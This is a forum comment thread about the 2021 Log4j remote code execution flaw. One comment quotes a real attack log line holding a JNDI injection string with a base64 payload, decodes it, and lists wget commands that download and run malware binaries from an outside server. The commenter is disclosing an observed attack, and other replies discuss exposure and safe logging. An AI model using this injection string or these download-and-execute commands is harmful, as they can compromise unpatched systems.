Widespread exploitation of critical remote code execution in Apache Log4j

Re:Widespread exploitation of critical remote code execution... by iso1631 on Saturday December 11, 2021 @11:00AM (#29521787)

If you're logging requests you're in trouble.

Here's one from my apache log file

  45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"

If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute

   wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh

Which itself downloads

  wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86;
  wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
  wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;

However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped)

Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.

[ Parent | on HN ]

Re:Widespread exploitation of critical remote code execution... by altdataseller on Saturday December 11, 2021 @01:54PM (#29523272)

And if you have a web crawler that just crawled this post and logs the contents using log4j, you are likely to be exploited too. facepalm

[ Parent | on HN ]

Re:Widespread exploitation of critical remote code execution... by taeric on Saturday December 11, 2021 @01:21PM (#29522996)

I think it depends how you log the request. If you did

    Logger.debug(request)

Vulnerable

If you did

    Logger.debug("{}", request)

Safe?

Reminds me of early days where sending printf directives to friends in chat applications could cause a crash.

Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.

[ Parent | on HN ]